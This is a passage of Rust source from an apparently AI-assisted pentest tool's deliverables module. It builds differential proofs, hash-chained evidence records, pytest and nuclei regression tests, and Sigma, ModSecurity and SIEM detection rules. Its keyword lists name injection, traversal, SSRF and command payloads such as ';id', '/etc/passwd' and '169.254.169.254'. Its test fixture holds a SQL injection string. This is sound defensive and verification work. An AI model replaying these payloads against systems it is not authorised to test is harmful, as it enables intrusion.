1], mean, var.sqrt())) +} + +/// The differential section for one finding (also used by the AppSec persona). +pub fn differential_for(f: &Finding) -> String { + let mut s = String::new(); + let Some(ev) = f.evidence_data.as_ref() else { + s.push_str("_No structured evidence was captured for this finding, so it cannot be shown against a negative control. Treat it as unproven until re-tested._\n"); + return s; + }; + let mut rows: Vec = Vec::new(); + if let Some(b) = &ev.baseline { + rows.push(exchange_row("control (no payload)", b)); + } + if let Some(a) = &ev.attack { + rows.push(exchange_row("**attack**", a)); + } + if let Some(a) = &ev.identity_a { + rows.push(exchange_row("owner (identity A)", a)); + } + if let Some(b) = &ev.identity_b { + rows.push(exchange_row("**other identity (B)**", b)); + } + if let Some(o) = &ev.oracle { + rows.push(exchange_row("privileged control (non-existent id)", &o.privileged)); + rows.push(exchange_row("**should-be-denied (non-existent id)**", &o.denied)); + } + for p in &ev.matrix { + let label = match p.expect { + Expect::Allow => format!("matrix: {} (expected allow)", p.identity), + Expect::Deny => format!("**matrix: {} (expected deny)**", p.identity), + }; + rows.push(exchange_row(&label, &p.exchange)); + } + if rows.is_empty() { + s.push_str("_Evidence was recorded but contains no request pair — no differential can be shown._\n"); + } else { + let _ = writeln!(s, "{ROW_HEAD}"); + for r in rows { + let _ = writeln!(s, "{r}"); + } + s.push('\n'); + } + if let (Some(b), Some(a)) = (&ev.baseline, &ev.attack) { + let d = diff(b, a); + let _ = writeln!( + s, + "**Computed difference (control → attack):** {} — {}.\n", + d.describe(), + if d.is_significant() { "significant" } else { "NOT significant" } + ); + } + if !ev.repeats.is_empty() { + let mut statuses: std::collections::BTreeMap = std::collections::BTreeMap::new(); + for r in &ev.repeats { + *statuses.entry(r.status).or_default() += 1; + } + let dist: Vec = statuses.iter().map(|(k, v)| format!("{k}×{v}")).collect(); + let _ = writeln!(s, "**Reproducibility:** {} independent repeat(s); status distribution {}.", ev.repeats.len(), dist.join(", ")); + let times: Vec = ev.repeats.iter().map(|r| r.elapsed_ms).collect(); + if let Some((min, med, max, mean, sd)) = stats(×) { + let _ = writeln!(s, "**Timing over repeats:** min {min} ms · median {med} ms · max {max} ms · mean {mean:.0} ms · σ {sd:.0} ms."); + if let Some(b) = &ev.baseline { + let _ = writeln!( + s, + "Control took {} ms; the attack's slowest-to-fastest band sits {} the control.", + b.elapsed_ms, + if min > b.elapsed_ms + (2.0 * sd) as u64 { "entirely above" } else { "overlapping" } + ); + } + } + s.push('\n'); + } + let mut proofs = Vec::new(); + if ev.callback_received { + proofs.push(format!("out-of-band callback carrying marker `{}` was received", ev.marker)); + } + if ev.browser_executed { + proofs.push(format!("a real browser executed the payload (marker `{}`)", ev.marker)); + } + if ev.marker_observed && !ev.callback_received && !ev.browser_executed { + proofs.push(format!("harness-chosen marker `{}` was observed where it proves the class", ev.marker)); + } + if !proofs.is_empty() { + let _ = writeln!(s, "**Independent proof:** {}.\n", proofs.join("; ")); + } + s +} + +fn differential_markdown(target: &str, findings: &[&Finding]) -> String { + let mut s = format!( + "# Differential proof — {target}\n\nEach finding is shown against its negative control: the same request without the payload (or as the identity that should be refused), next to the attack. A finding whose attack is indistinguishable from its control is not a finding.\n\n" + ); + for f in findings { + let _ = writeln!(s, "## {} — {}\n", md_cell(&f.title), f.severity); + let _ = writeln!(s, "Verdict: **{}** {}\n", verdict_label(f), if f.review_reason.is_empty() { String::new() } else { format!("— {}", f.review_reason) }); + s.push_str(&differential_for(f)); + s.push('\n'); + } + s +} + +// --------------------------------------------------------------------------- +// #3 Observed vs derived vs inferred, with a chain of custody + +fn custody(target: &str, findings: &[&Finding]) -> (String, String) { + let generated = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map(|d| d.as_secs()) + .unwrap_or(0); + let mut head = sha256_hex(format!("neurosploit-custody|{target}").as_bytes()); + let genesis = head.clone(); + let mut entries: Vec = Vec::new(); + let mut md = format!( + "# Evidence & chain of custody — {target}\n\nEvery statement in the report belongs to one of three classes:\n\n- **OBSERVED** — bytes captured from the wire. Each is hashed (SHA-256 of the response body) and chained.\n- **DERIVED** — computed by the deterministic validation engine from observed bytes (verdict, CVSS). Re-running the engine on the same bytes yields the same result.\n- **INFERRED** — written by a language model (titles, narrative, impact). A hypothesis, never evidence.\n\nChain: `link = sha256(previous_link || artifact_hash)`, starting from `sha256(\"neurosploit-custody|\")`. Altering, removing or reordering any observed artifact changes every later link.\n\nGenesis: `{genesis}` · generated (unix): {generated}\n\n" + ); + for f in findings { + let _ = writeln!(md, "## {}\n", md_cell(&f.title)); + let mut observed: Vec<(String, &Exchange)> = Vec::new(); + if let Some(ev) = f.evidence_data.as_ref() { + collect_exchanges(ev, &mut observed); + } + let _ = writeln!(md, "### OBSERVED (wire)\n"); + if observed.is_empty() { + let _ = writeln!(md, "_Nothing captured from the wire for this finding._\n"); + } else { + let _ = writeln!(md, "| role | request | status | body sha256 | link |\n|---|---|---|---|---|"); + for (role, x) in &observed { + let body_hash = sha256_hex(x.body.as_bytes()); + let record = format!("{}|{}|{}|{}|{}|{}", f.id, role, x.method, x.url, x.status, body_hash); + let artifact = sha256_hex(record.as_bytes()); + head = sha256_hex(format!("{head}{artifact}").as_bytes()); + let _ = writeln!( + md, + "| {} | `{} {}` | {} | `{}` | `{}` |", + md_cell(role), + md_cell(&x.method), + md_cell(&short(&path_of(&x.url), 60)), + x.status, + &body_hash[..16], + &head[..16] + ); + entries.push(serde_json::json!({ + "finding_id": f.id, "class": "observed", "role": role, + "method": x.method, "url": x.url, "status": x.status, + "identity": x.identity, "body_sha256": body_hash, + "artifact_sha256": artifact, "link": head, + })); + } + md.push('\n'); + } + let _ = writeln!(md, "### DERIVED (deterministic engine)\n"); + let _ = writeln!(md, "- verdict: **{}**{}", verdict_label(f), if f.review_reason.is_empty() { String::new() } else { format!(" — {}", f.review_reason) }); + if !f.cvss.is_empty() { + let _ = writeln!(md, "- CVSS: `{}`", f.cvss); + } + md.push('\n'); + let _ = writeln!(md, "### INFERRED (model narrative — hypothesis)\n"); + // The narrative is referenced, not copied: model prose can quote what + // the target returned (tokens, passwords, personal data), and a custody + // record needs to pin the text, not repeat it. The full text is in + // report.md; the hash proves which text this was. + let _ = writeln!(md, "- title: {}", md_cell(&short(&f.title, 160))); + for (k, v) in [("impact", &f.impact), ("business impact", &f.business_impact), ("agent narrative", &f.evidence)] { + if !v.trim().is_empty() { + let _ = writeln!(md, "- {k}: {} chars · sha256 `{}` (text in report.md)", v.chars().count(), &sha256_hex(v.as_bytes())[..16]); + } + } + md.push('\n'); + } + let _ = writeln!(md, "---\n**Chain head:** `{head}` over {} observed artifact(s).", entries.len()); + let json = serde_json::json!({ + "target": target, "generated_unix": generated, "genesis": genesis, + "head": head, "algorithm": "link = sha256(prev_link || sha256(finding|role|method|url|status|body_sha256))", + "artifacts": entries, + }); + (md, serde_json::to_string_pretty(&json).unwrap_or_default()) +} + +fn collect_exchanges<'a>(ev: &'a Evidence, out: &mut Vec<(String, &'a Exchange)>) { + if let Some(x) = &ev.baseline { + out.push(("control".into(), x)); + } + if let Some(x) = &ev.attack { + out.push(("attack".into(), x)); + } + for (i, x) in ev.repeats.iter().enumerate() { + out.push((format!("repeat {}", i + 1), x)); + } + if let Some(x) = &ev.identity_a { + out.push(("identity A".into(), x)); + } + if let Some(x) = &ev.identity_b { + out.push(("identity B".into(), x)); + } + if let Some(o) = &ev.oracle { + out.push(("oracle privileged".into(), &o.privileged)); + out.push(("oracle denied".into(), &o.denied)); + } + for p in &ev.matrix { + out.push((format!("matrix {}", p.identity), &p.exchange)); + } +} + +// --------------------------------------------------------------------------- +// #1 Exploit-as-test + +/// What a regression test needs: the vulnerable request and how to recognise +/// that it still works. +struct TestCase { + method: String, + path: String, + headers: Vec<(String, String)>, + secret_headers: Vec, + body: String, + vuln_status: u16, + control_status: Option, + signature: Option, +} + +impl TestCase { + fn from_finding(f: &Finding) -> Option { + let ev = f.evidence_data.as_ref()?; + // The exchange that demonstrates the flaw, and its negative control. + let (attack, control): (&Exchange, Option<&Exchange>) = if let Some(a) = &ev.attack { + (a, ev.baseline.as_ref()) + } else if let Some(b) = &ev.identity_b { + (b, None) + } else if let Some(o) = &ev.oracle { + (&o.denied, None) + } else { + let p = ev.matrix.iter().find(|p| p.expect == Expect::Deny && p.exchange.is_success())?; + (&p.exchange, None) + }; + if attack.url.is_empty() { + return None; + } + let mut headers = Vec::new(); + let mut secret_headers = Vec::new(); + for (k, v) in &attack.request_headers { + if is_secret_header(k) { + secret_headers.push(k.clone()); + } else if !matches!(k.to_ascii_lowercase().as_str(), "host" | "content-length") { + headers.push((k.clone(), v.clone())); + } + } + // Only honest oracles. A word guessed from one response body is not one: + // the body may be the agent's prose, and the word may be leaked data. + // - the harness marker (a nonce it chose) still in the response; + // - a recorded negative control that answered with a different status; + // - an identity swap (BOLA/BFLA/oracle/matrix), fixed by a refusal. + let marker = (!ev.marker.is_empty() && attack.body.contains(&ev.marker)).then(|| ev.marker.clone()); + let status_oracle = control.map(|c| c.status != attack.status && attack.status != 0).unwrap_or(false); + let identity_swap = ev.attack.is_none() && attack.is_success(); + if marker.is_none() && !status_oracle && !identity_swap { + return None; + } + let signature = marker; + Some(TestCase { + method: if attack.method.is_empty() { "GET".into() } else { attack.method.to_uppercase() }, + path: path_of(&attack.url), + headers, + secret_headers, + body: if attack.method.eq_ignore_ascii_case("GET") { String::new() } else { f.payload.clone() }, + vuln_status: attack.status, + control_status: control.map(|c| c.status), + signature, + }) + } + + fn pytest(&self, f: &Finding) -> String { + let mut s = String::new(); + let _ = writeln!(s, "\"\"\"Regression test for: {}", f.title.replace("\"\"\"", "'''")); + let _ = writeln!(s, "\nCWE: {} · severity: {} · verdict: {}", f.cwe, f.severity, verdict_label(f)); + let _ = writeln!(s, "\nAsserts the SECURE behaviour: FAILS while the finding is open, PASSES once fixed."); + let _ = writeln!(s, "Generated by NeuroSploit from recorded evidence; credentials come from the environment.\n\"\"\""); + s.push_str("import os\n\nimport requests\n\n"); + let _ = writeln!(s, "TARGET = os.environ.get(\"NS_TARGET\", \"\").rstrip(\"/\")"); + let _ = writeln!(s, "METHOD = {}", py_str(&self.method)); + let _ = writeln!(s, "PATH = {}", py_str(&self.path)); + let _ = writeln!(s, "BODY = {}", py_str(&self.body)); + let _ = writeln!(s, "VULN_STATUS = {}", self.vuln_status); + let _ = writeln!(s, "SIGNATURE = {}", self.signature.as_deref().map(py_str).unwrap_or_else(|| "None".into())); + s.push_str("\n\ndef _headers():\n h = {\n"); + for (k, v) in &self.headers { + let _ = writeln!(s, " {}: {},", py_str(k), py_str(v)); + } + s.push_str(" }\n"); + for k in &self.secret_headers { + let _ = writeln!(s, " if os.environ.get({e}):\n h[{k}] = os.environ[{e}]", e = py_str(&env_name(k)), k = py_str(k)); + } + s.push_str(" return h\n\n\n"); + if !self.secret_headers.is_empty() { + let envs: Vec = self.secret_headers.iter().map(|k| py_str(&env_name(k))).collect(); + let _ = writeln!(s, "REQUIRED_ENV = [{}]\n", envs.join(", ")); + s.push_str("import pytest # noqa: E402\n\n\n@pytest.fixture(autouse=True)\ndef _need_credentials():\n missing = [e for e in REQUIRED_ENV if not os.environ.get(e)]\n if missing:\n pytest.skip(\"set \" + \", \".join(missing) + \" — without the identity the request would be refused for the wrong reason and the test would pass falsely\")\n\n\n"); + } + s.push_str("def _send():\n assert TARGET, \"set NS_TARGET\"\n return requests.request(METHOD, TARGET + PATH, headers=_headers(), data=BODY or None, timeout=30, verify=False, allow_redirects=False)\n\n\n"); + s.push_str("def test_finding_is_fixed():\n r = _send()\n still_vulnerable = r.status_code == VULN_STATUS and (SIGNATURE is None or SIGNATURE in r.text)\n"); + let _ = writeln!( + s, + " assert not still_vulnerable, (\n f\"still vulnerable: {{METHOD}} {{PATH}} returned {{r.status_code}}\"\n + (f\" containing {{SIGNATURE!r}}\" if SIGNATURE else \"\")\n )" + ); + if let Some(c) = self.control_status { + let _ = writeln!( + s, + "\n\n# Negative control recorded at test time: the same request without the payload\n# returned HTTP {c}. A fix should make the attack behave like the control." + ); + } + s + } + + fn nuclei(&self, f: &Finding) -> String { + let sev = match f.severity.to_lowercase().as_str() { + "critical" => "critical", + "high" => "high", + "medium" => "medium", + "low" => "low", + _ => "info", + }; + let mut s = String::new(); + let _ = writeln!(s, "id: neurosploit-{}", slug(f)); + let _ = writeln!(s, "info:\n name: {}\n author: neurosploit\n severity: {sev}", yq(&f.title)); + let _ = writeln!(s, " description: {}", yq(&short(&f.impact, 300))); + let cwe: String = f.cwe.chars().filter(|c| c.is_ascii_digit()).collect(); + if !cwe.is_empty() { + let _ = writeln!(s, " classification:\n cwe-id: CWE-{cwe}"); + } + let _ = writeln!(s, " tags: neurosploit,regression\n\nhttp:\n - method: {}\n path:\n - \"{{{{BaseURL}}}}{}\"", self.method, self.path.replace('"', "%22")); + if !self.headers.is_empty() || !self.secret_headers.is_empty() { + s.push_str(" headers:\n"); + for (k, v) in &self.headers { + let _ = writeln!(s, " {}: {}", k, yq(v)); + } + for k in &self.secret_headers { + // nuclei: pass with -var auth_=... (never stored here) + let var = format!("auth_{}", k.to_ascii_lowercase().replace('-', "_")); + let _ = writeln!(s, " {k}: \"{{{{{var}}}}}\""); + } + } + if !self.body.is_empty() { + let _ = writeln!(s, " body: {}", yq(&self.body)); + } + s.push_str(" matchers-condition: and\n matchers:\n"); + let _ = writeln!(s, " - type: status\n status:\n - {}", self.vuln_status); + if let Some(sig) = &self.signature { + let _ = writeln!(s, " - type: word\n part: body\n words:\n - {}", yq(sig)); + } + s + } +} + + +fn py_str(s: &str) -> String { + format!("{:?}", s) // Rust debug quoting is a valid Python string literal for ASCII/escapes +} + +/// Single-quoted YAML scalar. +fn yq(s: &str) -> String { + format!("'{}'", s.replace('\'', "''").replace('\n', " ")) +} + +// --------------------------------------------------------------------------- +// #7 Detection content + +#[derive(Clone, Copy, PartialEq)] +enum Class { + Sqli, + Xss, + Traversal, + Ssrf, + Rce, + Authz, + Other, +} + +fn classify(f: &Finding) -> Class { + let n: String = f.cwe.chars().take_while(|c| *c != ';' && *c != ',').filter(|c| c.is_ascii_digit()).collect(); + // The CWE decides when there is one; the title (which can mention the + // finding a chain started from — "SQLi-leaked password") only when not. + let t = if n.is_empty() { f.title.to_lowercase() } else { String::new() }; + let is = |c: &[&str]| c.contains(&n.as_str()); + if is(&["89", "943", "564"]) || t.contains("sql") { + Class::Sqli + } else if is(&["79", "80", "83", "87"]) || t.contains("xss") || t.contains("cross-site scripting") { + Class::Xss + } else if is(&["22", "23", "35", "98", "73"]) || t.contains("traversal") || t.contains("file inclusion") { + Class::Traversal + } else if is(&["918"]) || t.contains("ssrf") { + Class::Ssrf + } else if is(&["77", "78", "94", "95", "502", "917", "1336"]) || t.contains("command") || t.contains("rce") || t.contains("code execution") { + Class::Rce + } else if is(&["639", "862", "863", "285", "284", "566", "425", "306"]) || t.contains("authoriz") || t.contains("idor") || t.contains("bola") || t.contains("access control") { + Class::Authz + } else { + Class::Other + } +} + +fn class_keywords(c: Class) -> &'static [&'static str] { + match c { + Class::Sqli => &["' or ", "union select", "sleep(", "pg_sleep", "waitfor delay", "benchmark(", "information_schema", "--"], + Class::Xss => &[" &["../", "..%2f", "%2e%2e", "/etc/passwd", "win.ini"], + Class::Ssrf => &["169.254.169.254", "metadata.google.internal", "localhost", "127.0.0.1", "file://", "gopher://"], + Class::Rce => &[";id", "|id", "$(", "`", "/bin/sh", "whoami", "copy from program"], + Class::Authz | Class::Other => &[], + } +} + +/// The concrete indicator from this finding's own request (payload or query). +fn concrete_indicator(f: &Finding) -> Option { + let p = f.payload.trim(); + // A payload that names a credential field carries a credential. + let low = p.to_lowercase(); + if ["password", "passwd", "pwd=", "pass=", "token", "secret", "api_key", "apikey", "authorization", "cookie", "session"] + .iter() + .any(|k| low.contains(k)) + { + return None; + } + if !p.is_empty() && p.len() <= 200 { + return Some(p.to_string()); + } + let url = f.evidence_data.as_ref().and_then(|e| e.attack.as_ref()).map(|a| a.url.clone()).unwrap_or_default(); + url.split_once('?').map(|(_, q)| short(q, 200)) +} + +fn detection(findings: &[&Finding]) -> (Vec<(String, String)>, String, String) { + let mut sigmas = Vec::new(); + let mut modsec = String::from( + "# NeuroSploit — ModSecurity rules derived from confirmed exploits.\n# Review before enabling; start in DetectionOnly (SecRuleEngine DetectionOnly).\n\n", + ); + let mut siem = String::from( + "# SIEM queries derived from the exploits\n\nReplay each exploit (`make verify-` in `../`) and confirm the matching query returns the request. An exploit your monitoring did not surface is a detection gap and a finding in its own right.\n\n", + ); + for (i, f) in findings.iter().enumerate() { + let c = classify(f); + let s = slug(f); + let path = path_of(&f.endpoint); + let stem = path.split('?').next().unwrap_or("/").to_string(); + let mut kws: Vec = class_keywords(c).iter().map(|k| k.to_string()).collect(); + // The finding's own payload is a useful indicator only when it is attack + // syntax. For credential reuse, auth bypass or access control it is + // often the credential itself — which must never land in a WAF rule or + // a SIEM query shared with the SOC. + if matches!(c, Class::Sqli | Class::Xss | Class::Traversal | Class::Ssrf | Class::Rce) { + if let Some(ind) = concrete_indicator(f) { + kws.insert(0, ind); + } + } + let rule_id = 9_400_000 + (i as u32); + let cwe: String = f.cwe.chars().filter(|c| c.is_ascii_digit()).collect(); + + // Sigma + let mut sg = String::new(); + let _ = writeln!(sg, "title: {}", yq(&format!("NeuroSploit — {}", f.title))); + let _ = writeln!(sg, "id: {}", uuid_like(&s)); + let _ = writeln!(sg, "status: experimental\ndescription: {}", yq(&format!("Detects the request pattern NeuroSploit used to exploit: {}", short(&f.title, 200)))); + let _ = writeln!(sg, "author: NeuroSploit\nlogsource:\n category: webserver\ndetection:"); + if c == Class::Authz || kws.is_empty() { + let _ = writeln!(sg, " selection:\n cs-uri-stem|contains: {}\n sc-status: 200", yq(&stem)); + let _ = writeln!(sg, " condition: selection\n# Authorization flaws are behavioural: alert when this endpoint returns 200 to a\n# principal outside its allowed roles — needs identity-aware correlation (see SIEM query)."); + } else { + let _ = writeln!(sg, " selection_path:\n cs-uri-stem|contains: {}", yq(&stem)); + let _ = writeln!(sg, " selection_payload:\n cs-uri-query|contains:"); + for k in &kws { + let _ = writeln!(sg, " - {}", yq(k)); + } + let _ = writeln!(sg, " condition: selection_path and selection_payload"); + } + let _ = writeln!(sg, "level: {}", match f.severity.to_lowercase().as_str() { "critical" => "critical", "high" => "high", "medium" => "medium", _ => "low" }); + if !cwe.is_empty() { + let _ = writeln!(sg, "tags:\n - cwe.{cwe}"); + } + sigmas.push((format!("{s}.sigma.yml"), sg)); + + // ModSecurity + let _ = writeln!(modsec, "# {} ({})", f.title.replace('\n', " "), f.endpoint); + if c == Class::Authz || kws.is_empty() { + let _ = writeln!(modsec, "# Authorization flaw — fix in the application; a WAF cannot tell roles apart.\n"); + } else { + let alt: Vec = kws.iter().map(|k| regex_escape(k)).collect(); + let _ = writeln!( + modsec, + "SecRule REQUEST_FILENAME \"@beginsWith {}\" \"id:{rule_id},phase:2,deny,status:403,log,msg:'NeuroSploit: {}',tag:'CWE-{}',chain\"\n SecRule ARGS|REQUEST_BODY \"@rx (?i)(?:{})\" \"t:urlDecodeUni\"\n", + stem.replace('"', ""), + f.title.replace('\'', "").replace('"', "").replace('\n', " "), + if cwe.is_empty() { "0".into() } else { cwe.clone() }, + alt.join("|") + ); + } + + // SIEM + let _ = writeln!(siem, "## {}\n", md_cell(&f.title)); + let terms: Vec = kws.iter().take(6).map(|k| format!("\"{}\"", k.replace('"', "\\\""))).collect(); + if c == Class::Authz || terms.is_empty() { + let _ = writeln!(siem, "Splunk:\n```\nindex=web uri_path=\"*{}*\" status=200 | stats count values(user) by src_ip, user, uri_path\n```", stem); + let _ = writeln!(siem, "Elastic (KQL):\n```\nurl.path : *{}* and http.response.status_code : 200\n```\nCorrelate `user` against the roles allowed on this route; any other principal is the exploit.\n", stem); + } else { + let _ = writeln!(siem, "Splunk:\n```\nindex=web uri_path=\"*{}*\" ({})\n```", stem, terms.join(" OR ")); + let _ = writeln!(siem, "Elastic (KQL):\n```\nurl.path : *{}* and url.query : ({})\n```\n", stem, terms.join(" or ")); + } + } + (sigmas, modsec, siem) +} + +fn regex_escape(s: &str) -> String { + let mut o = String::new(); + for ch in s.chars() { + if "\\.^$|?*+()[]{}/\"'".contains(ch) { + o.push('\\'); + } + o.push(ch); + } + o +} + +/// Deterministic UUID-shaped id (Sigma rules want a stable `id`). +fn uuid_like(seed: &str) -> String { + let h = sha256_hex(seed.as_bytes()); + format!("{}-{}-4{}-a{}-{}", &h[0..8], &h[8..12], &h[13..16], &h[17..20], &h[20..32]) +} + +// --------------------------------------------------------------------------- +// #9 Personas + +fn sev_rank(s: &str) -> u8 { + match s.to_lowercase().as_str() { + "critical" => 0, + "high" => 1, + "medium" => 2, + "low" => 3, + _ => 4, + } +} + +fn sorted<'a>(findings: &[&'a Finding]) -> Vec<&'a Finding> { + let mut v = findings.to_vec(); + v.sort_by_key(|f| sev_rank(&f.severity)); + v +} + +fn persona_dev(target: &str, findings: &[&Finding]) -> String { + let mut s = format!("# For developers — {target}\n\nOne ticket per finding: where it is, how to reproduce it, the test that proves it, and the fix.\n\n"); + for f in sorted(findings) { + let sl = slug(f); + let _ = writeln!(s, "## [{}] {}\n", f.severity, md_cell(&f.title)); + let loc = crate::report::location_line(f); + if !loc.is_empty() { + let _ = writeln!(s, "**Where:** {loc}\n"); + } + if !f.cwe.is_empty() { + let _ = writeln!(s, "**Class:** {}\n", f.cwe); + } + if TestCase::from_finding(f).is_some() { + let _ = writeln!(s, "**Prove it / verify your fix:** `make -C deliverables verify-{sl}` — fails while vulnerable, passes when fixed. Add `deliverables/tests/test_{sl}.py` to CI as a regression test.\n"); + } else { + let _ = writeln!(s, "**Prove it:** no structured evidence was recorded; reproduce with the steps in `report.md`.\n"); + } + if !f.remediation.trim().is_empty() { + let _ = writeln!(s, "**Fix:** {}\n", f.remediation.trim()); + } + } + s +} + +fn persona_appsec(target: &str, findings: &[&Finding]) -> String { + let mut s = format!( + "# For AppSec — {target}\n\nVerdicts are computed by the deterministic engine; each finding carries its differential proof. Chains are in the attack graph (`graph.json` / web console).\n\n| severity | finding | CWE | CVSS | verdict |\n|---|---|---|---|---|\n" + ); + for f in sorted(findings) { + let _ = writeln!(s, "| {} | {} | {} | `{}` | {} |", f.severity, md_cell(&short(&f.title, 80)), md_cell(&f.cwe), md_cell(&f.cvss), verdict_label(f)); + } + s.push('\n'); + for f in sorted(findings) { + let _ = writeln!(s, "## {}\n", md_cell(&f.title)); + if !f.chains_from.is_empty() { + let _ = writeln!(s, "Chained from: {}\n", f.chains_from.join(" → ")); + } + s.push_str(&differential_for(f)); + s.push('\n'); + } + s +} + +/// What a finding does to the business, from what the evidence shows — never a +/// quote of the model's prose, which can carry the very data it exposed. +fn impact_phrase(f: &Finding) -> String { + use crate::attack_graph::{data_class, demonstrated_rung, DataClass, Rung}; + use crate::chain::Capability as C; + let mut parts: Vec<&str> = Vec::new(); + match data_class(f) { + DataClass::Sensitive => parts.push("exposes sensitive data (credentials, keys or personal data)"), + DataClass::Data => parts.push("exposes data that should not be reachable"), + DataClass::None => {} + } + for c in crate::chain::provides(f) { + let p = match c { + C::CodeExecution => "lets an attacker run code on the system", + C::PrivilegedContext => "lets an attacker act with someone else's privileges", + C::InternalNetwork => "reaches systems behind the application", + C::SessionMaterial | C::WeakCredentials => "yields usable credentials or sessions", + C::DataAccess if parts.is_empty() => "gives read access to data", + _ => continue, + }; + if !parts.contains(&p) { + parts.push(p); + } + } + let proven = match demonstrated_rung(f) { + Rung::Executed | Rung::CrossedSystem => "demonstrated", + Rung::ReadSensitive | Rung::Wrote | Rung::ReadData => "demonstrated with a data read", + Rung::Reached => "reached, impact not yet demonstrated", + }; + if parts.is_empty() { + format!("weakness confirmed ({proven})") + } else { + format!("{} ({proven})", parts.join("; ")) + } +} + +fn persona_executive(target: &str, all: &[Finding]) -> String { + let live: Vec<&Finding> = all.iter().filter(|f| !is_rejected(f)).collect(); + let confirmed = live.iter().filter(|f| verdict_label(f) == "confirmed").count(); + let review = live.len() - confirmed; + let rejected = all.len() - live.len(); + let count = |sev: &str| live.iter().filter(|f| f.severity.eq_ignore_ascii_case(sev)).count(); + let mut s = format!("# Executive summary — {target}\n\n"); + let _ = writeln!( + s, + "The assessment reported **{}** issue(s): {} critical, {} high, {} medium, {} low. **{confirmed}** are confirmed by reproducible evidence; {review} need human review. {rejected} candidate(s) were discarded by the validation engine because the evidence did not hold up.\n", + live.len(), count("critical"), count("high"), count("medium"), count("low") + ); + let top: Vec<&Finding> = sorted(&live).into_iter().filter(|f| sev_rank(&f.severity) <= 1).take(5).collect(); + if !top.is_empty() { + s.push_str("## What matters most\n\n"); + for f in top { + let _ = writeln!(s, "- **{}** — {}", md_cell(&short(&f.title, 90)), impact_phrase(f)); + } + s.push('\n'); + } + let personal = live.iter().any(|f| { + let t = format!("{} {} {}", f.title, f.impact, f.business_impact).to_lowercase(); + ["cpf", "e-mail", "email", "pii", "personal", "pessoa", "dados pessoais", "address", "endereço", "birth", "nascimento"].iter().any(|k| t.contains(k)) + }); + if personal { + s.push_str("## Regulatory exposure\n\nAt least one finding touches personal data. Depending on jurisdiction this can engage data-protection law (e.g. GDPR Art. 32 security of processing and Art. 33/34 breach notification; equivalents such as LGPD, CCPA/CPRA, PIPEDA). Run with `--compliance gdpr` for a control-level mapping.\n\n"); + } + s.push_str("_Severity reflects demonstrated impact, not vulnerability class. Absence of a finding is not evidence of security — only that this engagement did not find the specific issue._\n"); + s +} + +fn index(target: &str, findings: &[&Finding]) -> String { + let n_tests = findings.iter().filter(|f| TestCase::from_finding(f).is_some()).count(); + let n_untestable = findings.iter().filter(|f| f.evidence_data.is_some() && TestCase::from_finding(f).is_none()).count(); + format!( + "# Deliverables — {target}\n\n\ +| file | question it answers |\n|---|---|\n\ +| `differential-proof.md` | Is it real? Attack vs negative control, computed diff, repeat distribution |\n\ +| `evidence-custody.md` / `.json` | Can I trust the record? Observed vs derived vs inferred, hash-chained |\n\ +| `tests/`, `nuclei/`, `Makefile` | Is it still open? Did my fix work? ({n_tests} executable regression test(s)) |\n\ +| `detection/` | Would we see it? Sigma, ModSecurity, Splunk/Elastic |\n\ +| `persona-dev.md` · `persona-appsec.md` · `persona-executive.md` | Same evidence, three audiences |\n\n\ +Run all regression tests: `NS_TARGET= NS_HDR_AUTHORIZATION='Bearer …' make -C deliverables verify-all`.\n\n\ +{n_untestable} finding(s) have no honest automatic oracle (no harness marker, no negative control with a different status, no identity swap) and are listed in the Makefile; reproduce them from report.md.\n" + ) +} + +// --------------------------------------------------------------------------- + +#[cfg(test)] +mod tests { + use super::*; + + fn ex(method: &str, url: &str, status: u16, body: &str) -> Exchange { + Exchange { method: method.into(), url: url.into(), status, body: body.into(), elapsed_ms: 100, ..Default::default() } + } + + fn sqli_finding() -> Finding { + let mut attack = ex("GET", "https://t.test/search?q=1'+OR+1=1--", 200, "ns-mark-123 admin"); + attack.request_headers.insert("Authorization".into(), "Bearer SUPERSECRETTOKEN".into()); + attack.request_headers.insert("Accept".into(), "text/html".into()); + let baseline = ex("GET", "https://t.test/search?q=1", 200, "no results"); + Finding { + id: "VULN-123".into(), + title: "SQL Injection in search".into(), + severity: "High".into(), + cwe: "CWE-89".into(), + endpoint: "https://t.test/search".into(), + payload: "1' OR 1=1--".into(), + impact: "Dumps every row".into(), + remediation: "Use parameterised queries".into(), + review_status: "confirmed".into(), + validated: true, + evidence_data: Some(Evidence { + baseline: Some(baseline), + attack: Some(attack.clone()), + repeats: vec![attack.clone(), attack], + marker: "ns-mark-123".into(), + ..Default::default() + }), + ..Default::default() + } + } + + fn tmp(name: &str) -> std::path::PathBuf { + let d = std::env::temp_dir().join(format!("ns_deliv_{}_{}", name, std::process::id())); + let _ = std::fs::remove_dir_all(&d); + d + } + + #[test] + fn writes_every_artifact() { + let d = tmp("all"); + write_all("https://t.test", &[sqli_finding()], &d).unwrap(); + let o = d.join("deliverables"); + for f in ["differential-proof.md", "evidence-custody.md", "evidence-custody.json", "Makefile", "README.md", + "tests/test_vuln-123.py", "nuclei/vuln-123.yaml", "detection/vuln-123.sigma.yml", + "detection/modsecurity.conf", "detection/siem-queries.md", + "persona-dev.md", "persona-appsec.md", "persona-executive.md"] { + assert!(o.join(f).exists(), "missing {f}"); + } + let _ = std::fs::remove_dir_all(&d); + } + + #[test] + fn credentials_are_never_written() { + let d = tmp("secret"); + write_all("https://t.test", &[sqli_finding()], &d).unwrap(); + for e in walk(&d) { + let body = std::fs::read_to_string(&e).unwrap_or_default(); + assert!(!body.contains("SUPERSECRETTOKEN"), "token leaked into {}", e.display()); + } + let test = std::fs::read_to_string(d.join("deliverables/tests/test_vuln-123.py")).unwrap(); + assert!(test.contains("NS_HDR_AUTHORIZATION"), "auth should come from env"); + let _ = std::fs::remove_dir_all(&d); + } + + fn walk(d: &Path) -> Vec { + let mut out = Vec::new(); + if let Ok(rd) = std::fs::read_dir(d) { + for e in rd.flatten() { + let p = e.path(); + if p.is_dir() { out.extend(walk(&p)); } else { out.push(p); } + } + } + out + } + + #[test] + fn pytest_asserts_secure_behaviour_on_the_harness_marker() { + let f = sqli_finding(); + let t = TestCase::from_finding(&f).unwrap(); + let py = t.pytest(&f); + assert!(py.contains("assert not still_vulnerable")); + assert!(py.contains("VULN_STATUS = 200")); + assert_eq!(t.signature.as_deref(), Some("ns-mark-123"), "only the harness marker is a signature"); + assert!(py.contains("REQUIRED_ENV") && py.contains("pytest.skip"), "missing credentials must skip, not pass"); + } + + #[test] + fn no_honest_oracle_means_no_test() { + // Attack and control answer the same status, no marker: any word picked + // from the body would be a guess (and maybe leaked data) — no test. + let mut f = sqli_finding(); + let ev = 